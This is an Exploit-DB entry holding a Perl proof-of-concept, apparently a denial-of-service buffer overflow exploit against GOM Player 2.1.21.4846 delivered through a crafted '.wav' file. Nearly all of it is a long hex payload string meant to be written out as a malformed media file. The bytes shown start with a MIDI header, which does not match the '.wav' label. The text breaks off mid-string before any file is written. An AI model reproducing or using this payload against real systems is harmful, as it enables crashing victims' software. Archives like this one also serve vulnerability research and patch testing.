Exploit-DB #11536
Description: GOM Player 2.1.21.4846 - '.wav' Buffer Overflow
Type: dos
Platform: windows
Date: 2010-02-22
Author: cr4wl3r

Exploit:
#!/usr/bin/perl


# GOM Player 2.1.21.4846 (.wav) Buffer Overflow Exploit
# Homepage: http://www.gomlab.com/
# Exploit Coded by: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
# From: Gorontalo - Indonesia
#
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# WARNING - WARNING - WARNING - WARNING
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#
#
# Disclaimer: The author published the information under the condition
#             that is not in the intention of the reader to use them in order to bring
#             to himself or others a profit or to bring to others damage.
#
#
# Gr33tz: No Thanks





print "
[+]-------------------------------------------------------[+]
[+] GOM Player 2.1.21.4846 (.wav) Buffer Overflow Exploit [+]
[+] By : cr4wl3r                                          [+]
[+]-------------------------------------------------------[+]
";



$buff = 
"\x4d\x54\x68\x64\x00\x00\x00\x06\x00\x01\x00\x03\x00\xf0\x4d\x54\x72\x6b\x00\x00".
"\x00\x21\x00\xff\x51\x03\x0a\x2c\x2a\x00\xff\x58\x04\x02\x02\x18\x08\x00\xff\x03".
"\x08\x20\x20\x20\x20\x20\x20\x20\x20\x85\x88\x61\xff\x2f\x00\x4d\x54\x72\x6b\x00".
"\x00\x27\x6b\x00\xff\x03\x08\x41\x20\x42\x72\x65\x65\x7a\x65\x00\xc1\x07\x00\x07".
"\x82\x69\x91\x43\x3d\x00\x40\x3d\x64\x43\x00\x00\x40\x00\x13\x48\x3f\x00\x3f\x3f".
"\x65\x48\x00\x00\x3f\x00\x13\x45\x3f\x29\x45\x00\x13\x44\x3f\x29\x44\x00\x13\x45".
"\x65\x29\x45\x00\x13\x47\x3f\x29\x47\x00\x13\x48\x3f\x00\x40\x3f\x81\x21\x48\x00".
"\x00\x40\x00\x13\x43\x3f\x29\x43\x00\x13\x40\x3f\x29\x40\x00\x13\x3f\x3f\x29\x3f".
"\x00\x13\x40\x3f\x29\x40\x00\x13\x41\x3f\x29\x41\x00\x13\x43\x3f\x81\x21\x43\x00".
"\x13\x41\x3f\x29\x41\x00\x13\x3e\x3f\x29\x3e\x00\x13\x3c\x3f\x29\x3c\x00\x13\x40".
"\x3f\x29\x40\x00\x13\x3e\x3f\x29\x3e\x00\x13\x3b\x3f\x29\x3b\x00\x13\x39\x3f\x29".
"\x39\x00\x13\x37\x3f\x65\x37\x00\x81\x0c\x4f\x3d\x00\x4a\x3d\x00\x47\x3d\x00\x43".
"\x3d\x64\x4f\x00\x00\x4a\x00\x00\x47\x00\x00\x43\x00\x13\x43\x3f\x65\x43\x00\x13".
"\x4c\x51\x00\x43\x51\x29\x4c\x00\x00\x43\x00\x13\x4b\x51\x00\x42\x51\x29\x4b\x00".
"\x00\x42\x00\x13\x4c\x51\x00\x43\x51\x29\x4c\x00\x00\x43\x00\x13\x48\x51\x00\x40".
"\x51\x65\x48\x00\x00\x40\x00\x13\x40\x51\x29\x40\x00\x13\x41\x51\x29\x41\x00\x13".
"\x42\x51\x29\x42\x00\x13\x43\x51\x29\x43\x00\x13\x48\x51\x29\x48\x00\x13\x4c\x51".
"\x29\x4c\x00\x13\x4f\x54\x00\x4c\x54\x01\x43\x54\x64\x4f\x00\x00\x4c\x00\x00\x43".
"\x00\x13\x4e\x54\x00\x4b\x54\x00\x42\x54\x29\x4e\x00\x00\x4b\x00\x00\x42\x00\x13".
"\x4f\x54\x00\x4c\x54\x00\x43\x54\x65\x4f\x00\x00\x4c\x00\x00\x43\x00\x13\x4c\x51".
"\x00\x43\x51\x29\x4c\x00\x00\x43\x00\x13\x4b\x51\x00\x42\x51\x29\x4b\x00\x00\x42".
"\x00\x13\x4c\x51\x00\x43\x51\x29\x4c\x00\x00\x43\x00\x13\x48\x51\x00\x40\x51\x65".
"\x48\x00\x00\x40\x00\x13\x40\x51\x29\x40\x00\x13\x41\x51\x29\x41\x00\x13\x41\x51".
"\x29\x41\x00\x13\x43\x51\x29\x43\x00\x13\x48\x51\x29\x48\x00\x13\x4c\x51\x29\x4c".
"\x00\x13\x4f\x51\x00\x4c\x51\x01\x43\x64\x64\x4f\x00\x00\x4c\x00\x00\x43\x00\x13".
"\x4d\x51\x00\x4a\x51\x00\x42\x64\x29\x4d\x00\x00\x4a\x00\x00\x42\x00\x13\x4f\x51".
"\x00\x4c\x51\x00\x43\x64\x65\x4f\x00\x00\x4c\x00\x00\x43\x00\x13\x4f\x51\x00\x43".
"\x51\x29\x4f\x00\x00\x43\x00\x13\x50\x51\x00\x44\x51\x01\x4d\x64\x28\x50\x00\x00".
"\x44\x00\x00\x4d\x00\x13\x51\x51\x00\x45\x51\x00\x4d\x64\x29\x51\x00\x00\x45\x00".
"\x00\x4d\x00\x13\x53\x51\x00\x47\x51\x00\x4d\x64\x65\x53\x00\x00\x47\x00\x00\x4d".
"\x00\x13\x4f\x51\x00\x43\x51\x00\x4d\x64\x29\x4f\x00\x00\x43\x00\x00\x4d\x00\x13".
"\x51\x51\x00\x45\x51\x00\x4d\x64\x29\x51\x00\x00\x45\x00\x00\x4d\x00\x13\x53\x51".
"\x00\x47\x51\x00\x4d\x64\x29\x53\x00\x00\x47\x00\x00\x4d\x00\x13\x54\x51\x00\x48".
"\x51\x00\x4c\x64\x29\x54\x00\x00\x48\x00\x00\x4c\x00\x13\x53\x51\x00\x47\x51\x00".
"\x4c\x64\x29\x53\x00\x00\x47\x00\x00\x4c\x00\x13\x54\x51\x00\x48\x51\x00\x4c\x64".
"\x29\x54\x00\x00\x48\x00\x00\x4c\x00\x13\x58\x51\x00\x4c\x51\x00\x4f\x64\x29\x58".
"\x00\x00\x4c\x00\x13\x58\x51\x00\x4c\x51\x29\x58\x00\x00\x4c\x00\x00\x4f\x00\x13".
"\x57\x69\x00\x4b\x69\x29\x57\x00\x00\x4b\x00\x13\x58\x69\x00\x4c\x69\x65\x58\x00".
"\x00\x4c\x00\x13\x58\x69\x29\x58\x00\x13\x56\x69\x29\x56\x00\x13\x55\x69\x29\x55".
"\x00\x13\x56\x69\x65\x56\x00\x13\x54\x69\x00\x4c\x69\x29\x54\x00\x00\x4c\x00\x13".
"\x53\x69\x00\x4a\x69\x29\x53\x00\x00\x4a\x00\x13\x51\x69\x00\x48\x69\x29\x51\x00".
"\x00\x48\x00\x13\x4f\x69\x00\x47\x69\x82\x55\x4f\x00\x00\x47\x00\x13\x4d\x69\x00".
"\x4a\x69\x01\x47\x64\x00\x43\x64\x64\x4d\x00\x00\x4a\x00\x00\x47\x00\x00\x43\x00".
"\x13\x4c\x51\x00\x43\x51\x00\x48\x64\x29\x4c\x00\x00\x43\x00\x00\x48\x00\x13\x4b".
"\x51\x00\x42\x51\x29\x4b\x00\x00\x42\x00\x13\x4c\x51\x00\x43\x51\x29\x4c\x00\x00".
"\x43\x00\x13\x48\x51\x00\x40\x51\x65\x48\x00\x00\x40\x00\x13\x40\x51\x29\x40\x00".
"\x13\x41\x51\x29\x41\x00\x13\x42\x51\x29\x42\x00\x13\x43\x51\x29\x43\x00\x13\x48".
"\x51\x29\x48\x00\x13\x4c\x51\x29\x4c\x00\x13\x4f\x54\x00\x4c\x54\x01\x43\x54\x64".
"\x4f\x00\x00\x4c\x00\x00\x43\x00\x13\x4e\x54\x00\x4b\x54\x00\x42\x54\x29\x4e\x00".
"\x00\x4b\x00\x00\x42\x00\x13\x4f\x54\x00\x4c\x54\x00\x43\x54\x65\x4f\x00\x00\x4c".
"\x00\x00\x43\x00\x13\x4c\x51\x00\x43\x51\x29\x4c\x00\x00\x43\x00\x13\x4b\x51\x00".
"\x42\x51\x29\x4b\x00\x00\x42\x00\x13\x4c\x51\x00\x43\x51\x29\x4c\x00\x00\x43\x00".
"\x13\x43\x51\x65\x43\x00\x13\x46\x51\x29\x46\x00\x13\x45\x51\x29\x45\x00\x13\x44".
"\x51\x29\x44\x00\x13\x45\x51\x29\x45\x00\x13\x4a\x51\x29\x4a\x00\x13\x4d\x51\x29".
"\x4d\x00\x13\x51\x54\x00\x4d\x54\x01\x45\x54\x64\x51\x00\x00\x4d\x00\x00\x45\x00".
"\x13\x4d\x51\x29\x4d\x00\x13\x4a\x51\x29\x4a\x00\x13\x45\x51\x29\x45\x00\x13\x48".
"\x51\x00\x3e\x51\x65\x48\x00\x00\x3e\x00\x13\x45\x51\x29\x45\x00\x13\x43\x51\x29".
"\x43\x00\x13\x45\x51\x29\x45\x00\x13\x47\x51\x29\x47\x00\x13\x48\x51\x00\x40\x51".
"\x81\x21\x48\x00\x00\x40\x00\x13\x43\x51\x29\x43\x00\x13\x40\x51\x29\x40\x00\x13".
"\x3e\x51\x29\x3e\x00\x13\x40\x51\x29\x40\x00\x13\x41\x51\x29\x41\x00\x13\x43\x51".
"\